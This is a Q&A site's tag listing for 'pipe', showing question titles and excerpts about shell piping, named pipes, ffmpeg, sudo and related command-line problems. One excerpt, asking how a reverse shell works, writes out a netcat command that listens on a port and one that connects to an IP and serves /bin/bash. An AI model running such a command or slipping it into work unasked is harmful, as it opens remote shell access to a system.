Questions tagged [pipe]

A pipe connects the output of one program to the input of another program. This is especially used to implement the shell | operator.

Filter by
Sorted by
Tagged with
0 votes
1 answer
22 views

Is pipe the same as expr pipe?

I search man expr and found expression 1 | expression 2 to reutnr expression 1 if it is neither an empty string nor zero; otherwise, returns evaluation of expression 2 if it is not an empty string. ...
user avatar
0 votes
2 answers
46 views

Convert output file with the following columns to CSV removing the pipes

This is what I have in my output file: v6_ntoa | v6_ntoa | id | client_syn_packets ---------------+--------------+-------------+-------------------- 105.245.90.61 | 82.17.112.84 |...
user avatar
  • 1
0 votes
1 answer
91 views

Running multiple scripts with piped input/output

I wish to call multiple scripts from a single script file, with various inputs and outputs like this: ./file1.sh ip1 ip2 op1 ./file2.sh op1 op2 and so on. What I mean is that the output given by ...
user avatar
0 votes
1 answer
246 views

bash pipe multiple outputs as input to other command

I am noob with shell script and I am trying to pass multiple arguments to an command. I have a urls.txt file that looks as below name1,http://url1 name2,http://url2 name3,http://url3 name4,http://url4 ...
user avatar
  • 15
0 votes
0 answers
110 views

C pipes with execlp(). Code works for "head" command but not for "sort"

So my job is to write a function that will work like: ps -ef| tr -s ' ' :| cut -d: -f1 | sort | uniq -c |sort -n Here is my code: void pipe4() { int pdesk1[2]; int pdesk2[2]; int pdesk3[2]; ...
user avatar
  • 1
8 votes
2 answers
3k views

How do I check if command failed... with a pipe?

So I have a script like this: somecommad | grep --invert-match something I'd like to be able to conditionally run a different command if somecommand fails. Here's what I tried: somecommand | grep --...
user avatar
  • 2,307
1 vote
1 answer
315 views

How can I Pipe the output of FFMPEG 2 Levels of Piping in a bash script

I have been trying to pipe 2 levels deep. I can pipe successfully: ffmpeg | grep ffmpeg | sed I can not pipe ffmpeg | grep | sed ffmpeg | sed | grep I don't understand, does ffmpeg limit to only ...
user avatar
1 vote
1 answer
48 views

Any way to pause a task and then restart within a pipe

I use a command like btrfs restore -iv /dev/sdc1 /RESTORED estimated time of running it is few days In every hour of running I see a lot of prompts like: We seem to be looping a lot on /path/to/some/...
user avatar
1 vote
1 answer
84 views

Can't escape a dot using backslash, Why? [duplicate]

So, following are the commands are I ran: $ ~/Documents: touch ball.txt bool-txt bowl.txt bull.txt $ ~/Documents: ls . | grep b..l\.txt ball.txt bool-txt bowl.txt bull.txt I wasn't expecting bool-txt ...
user avatar
0 votes
0 answers
59 views

Zero Traffic on while running pipeline application in dpdk

I have two Virtual Machines. Both of them have their port bridged. On one VM I run Pktgen DPDK to generate traffic. On the other VM my goal is to run DPDK's pipeline application. Now When I run ...
user avatar
1 vote
2 answers
82 views

Hide stdout from a command

I'm running the following command as a non privilaged user: ethtool eth0 |tail -1 | awk '{print $3}', which results this output: Cannot get wake-on-lan settings: Operation not permitted yes No ...
user avatar
0 votes
0 answers
22 views

Can I directly split the project archive in kdenlive?

I created a huge project in Kdenlive. Now, I wanted to archive it and then move the archive onto a Samba share with almost 50 GB free space, because I'm running low on free disk space on my main PC (9....
user avatar
0 votes
0 answers
33 views

Feeding output of nvidia-smi to tail command returns error

I have a custom nvidia-smi message where some additional information (e.g., username) is also output underneath the original output of the nvidia-smi message. I want to feed that output to a tail ...
user avatar
  • 183
1 vote
1 answer
386 views

Sudo command is not asking password from stdin. And Failing

Whenever I am running any command with sudo, No password is asked from stdin. Instead, it automatically takes a password from somewhere and fails. Once All attempts are exhausted, my command is ...
user avatar
  • 105
0 votes
1 answer
45 views

does output from LHS of pipe become an arg for RHS of pipe

I'm having difficulty grasping how pipes work. Initially I thought of them as per the title but I couldn't get a simple example to work e.g. mkdir temp cd temp echo "rubbish" > txtfile ...
user avatar
2 votes
1 answer
1k views

problem install pip ubuntu 16.04

I'm doing this to install pip: apt-get install python3-pip But when I try use the command I have this error: # pip3 install --upgrade pip Traceback (most recent call last): File "/usr/bin/pip3&...
user avatar
-1 votes
2 answers
61 views

Whats the difference between a pipeline operator and $()? [duplicate]

mint@mint-VirtualBox:/$ ls -l $(which cp) -rwxr-xr-x 1 root root 153976 Sep 5 2019 /usr/bin/cp mint@mint-VirtualBox:/$ which cp | ls -l total 1043228 lrwxrwxrwx 1 root root 7 Jan 21 15:09 ...
user avatar
1 vote
1 answer
82 views

find command is not able to find piped file

I have a file named .sock in /var/spool/ dir. Here is the result of ls -al /var/spool/ drwxr-xr-x. 9 root root 121 Dec 16 09:55 . drwxr-xr-x. 19 root root 267 Dec 14 10:47 .. drwxr-xr-x. 2 ...
user avatar
  • 343
0 votes
1 answer
123 views

Why is piping operator used here?

Here are two commands I'm trying to understand. The first command downloads an installation script for NVM (nodejs version manager) and executes it. The second command installs nodejs using newly ...
user avatar
  • 127
0 votes
1 answer
102 views

Piped commands run with sudo prefix result in indented output

I have an interesting issue on most of my servers, where commands prefixed with sudo and piped | to another program end up with indented output. Note that I'm going to use lsb_release command for the ...
user avatar
  • 101
1 vote
2 answers
412 views

Shellcheck recommendation to double-quote variable does not work when piping to cut

I'm making a script to print ZFS filesystem info - currently in the testing phase, and I'm getting a strange error. The relevant bit of my initial script is this: zfs_human="$(zfs list | head -n ...
user avatar
2 votes
2 answers
870 views

Why Command Substitiution Works And Pipeline Not [duplicate]

I am practing | pipeline to pass output. Firstly, I tried basename as $ basename -a $(ls test_directory/*) This line works as expected and showed only file's name without directory's. But when I try ...
user avatar
7 votes
2 answers
1k views

Bash function to robustly pipe terminal output to vim

I often re-direct my terminal output to vim, in this fashion, which I get tired of typing all the time: ls | vim - I would like to define a function v to do this for me, i.e I want to be able to type:...
user avatar
  • 437
1 vote
1 answer
649 views

Pipe password argument to mount shell command

Status quo Given are following /etc/fstab mount points: //server/app /home/user/server/app cifs noauto,user,vers=3.11 0 0 //server/code /home/user/server/code cifs noauto,user,vers=3.11 0 0 These ...
user avatar
  • 141
1 vote
1 answer
1k views

How to get video audio stream using ffmpeg pipe fdkaac m4a?

I want final file as .mkv containing video stream copy and audio stream encoded by fdkaac bt unfortunately i only get audio file pls help me how to pipe video stream also here??? I tried this: ...
user avatar
2 votes
0 answers
93 views

Help getting SSH server working again?

I have a ubuntu desktop on my home network that I used to be able to ssh into from several different machines, but about a week ago it stopped working. The only thing that I can think of that I ...
user avatar
0 votes
1 answer
141 views

use systemd-escape in an interavtive way

If we use systemd-escape SomePassword, the password will be stored in bash_history file. Is it possible to use it in an interactive way? cat | systemd-escape fails as systemd-escape expects the ...
user avatar
  • 115
0 votes
1 answer
155 views

Pipe script output in terminal to filter lines

#!/bin/bash for f in *.{jpg,png,webm,mp4}; do mv "$f" "$(sed 's/[^0-9A-Za-z_.]/_/g' <<< "$f>; done Currently using this script to turn all of the specified files of that extension and ...
user avatar
  • 3
0 votes
0 answers
99 views

Xorg input device from a named pipe

I am trying to create a virtual input device that does a complex remapping of key presses of an existing keyboard. The remapped output stream is written to a named pipe which is supposed to serve as ...
user avatar
0 votes
1 answer
260 views

Custom Commands on Terminal with pipe character

I need to make some custom commands on Ubuntu, everything is working fine until I found that my new custom command requires to have | as a input parameter. So, when I created my function it is not ...
user avatar
  • 103
0 votes
1 answer
510 views

Terminal window doesn't show my input after using popen() in my program

In my C++ program I use popen() to read video frames with ffmpeg. When program stops on it's own or I close it with Ctrl+C everything I type into terminal just never appears (but it's there). I do ...
user avatar
  • 117
2 votes
1 answer
2k views

Communicating via a local socket or named pipe

I'm reading a book that is related SSH. I can't figure out what this sentence means. SSH clients communicate with the agent via a local socket or named pipe whose filename is stored in an ...
user avatar
  • 1,039
1 vote
1 answer
179 views

SIGQUIT breaks the pipe

Linux ping utility can produce some statistics on receiving SIGQUIT without terminating. It looks like this: PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data. 64 bytes from 8.8.8.8: icmp_seq=1 ttl=45 time=...
user avatar
  • 23
0 votes
3 answers
246 views

How to treat an output of find as a string not a refrence to a file or directory

when I run find ~/foo/bar/. -mindepth 1 -maxdepth 1 -type d I get an output of all subdirectories of the given path. e.g. /home/user/foo/bar/a /home/user/foo/bar/b ... /home/user/foo/bar/abcd ...
user avatar
  • 103
4 votes
2 answers
297 views

cat | dd inconsistent behavior

From a given a file, I have a requirement to create a copy that is padded with zeros to a specific size. If you create a file with the following. echo test >testfile The output of the following ...
user avatar
  • 478
5 votes
2 answers
1k views

Piping the output of comand columns

I am using lolcat to get the output of ls in color. To do this i have copied /usr/bin/ls to /usr/bin/lsslss (to avoid an endless loop since alias cannot acccept $* or $@) and I have added the function:...
user avatar
1 vote
1 answer
1k views

What does `cat file | ssh host 'cat - >file'` do?

this is the script: #!/bin/bash usage() { echo "deploy-nginx.sh --production|--staging" } case "$1" in --staging) NGINX_CONF="conf/nginx-staging"; HOST="staging" ;; --production) ...
user avatar
  • 239
1 vote
1 answer
246 views

What does this command mean?

While searching installation of lxqt I found apt install command for lxqt-sudo | gksu, xfwm4 | x-window-manager, firefox | www-browser. What does this commands mean? What is the difference with ...
user avatar
  • 178
0 votes
1 answer
181 views

Why doesn't this work: ~$ echo "trythis" | sh ./script.sh

I'm trying to feed the string trythis into the script I made that creates a directory using what is written after it. For example this works: ~$ sh ./script trythis But using the pipe does not. I ...
user avatar
  • 13
2 votes
2 answers
822 views

PDF a set of Office Libre files from the command line

Assume a set of .docx files are in a directory to be converted to .pdf format. Is there a clever way to list the files and pipe it into a command that would 'print' the pdf files to a target ...
user avatar
  • 4,025
6 votes
1 answer
3k views

How does this command work? (reverse shell)

There was a simple way to connect two systems and getting a shell using nc command as below. machine A to listen nc -nlvp 4444 machine B to connect nc 192.168.4.4 4444 -e /bin/bash However ...
user avatar
  • 261
3 votes
1 answer
1k views

CLI line buffer: How to pipe to grep an output stream?

I have this command (for pomodoros): play -n synth 25:00 pinknoise I don't want to silent completely the output (-q option), just the header (grep don't work). Normal output: File Size: 94.3T ...
user avatar
-1 votes
1 answer
523 views

Concatenation of two cURL commands fails, but the commands work separately

I am trying to concatenate two curl commands using a pipe. First there is a simple authentication that works using curl https://myserver --user username:password Second I need to use GLPI API for ...
user avatar
  • 1
0 votes
1 answer
84 views

getting the uniqueness from extracted grep results BUT with stream as an input

On finished input (like a file) we can do that: cat file | grep -o memory=[3-9] | sort -u But sort won't work with a stream: tail -f server.log | grep -o memory=[3-9] | sort -u server.log can be ...
user avatar
0 votes
0 answers
23 views

Why do I get different output from the same commands? (redirect and piping) [duplicate]

So I'm learning to use the CLI and I'm playing around with redirecting and piping and then I get different output from executing the same commands. Basically I'm listing all executables from /bin/ ...
user avatar
  • 101
0 votes
1 answer
170 views

What is the difference between command grouping and pipelining?

I couldn't understand the difference between command grouping and pipelining
user avatar
3 votes
1 answer
2k views

How to close a named pipe (thereby enabling it for cat)?

I need help closing a named pipe. I created a named fifo via mkfifo myfifo, then some C++ executable files wrote/read from myfifo, and now I wish to close it (so I can cat its contents to read them). ...
user avatar
6 votes
2 answers
6k views

how to split input to two pipes

I would like to do something equivalent to this: some-expensive-command > /tmp/mytempfile grep -v "pattern" /tmp/mytempfile >> output.txt grep "pattern" /tmp/mytempfile | yet-another-command ...
user avatar
2 votes
1 answer
1k views

How to split awk output to multiple lines for piping

I'm currently putting together a quick script that deploys multiple vagrant machines locally for dev purposes. Par of the procedure consists of adding the ssh key to the vagrant boxes. So far, ...
user avatar
  • 133
1 vote
2 answers
2k views

Is `/dev/shm` universal in Linux and Ubuntu?

For FIFO pipe speed I'm considering placing it inside the RAM disk called /dev/shm. I see there are some files there already: $ ll /dev/shm total 1536 drwxrwxrwt 2 root root 280 Oct 2 17:...
user avatar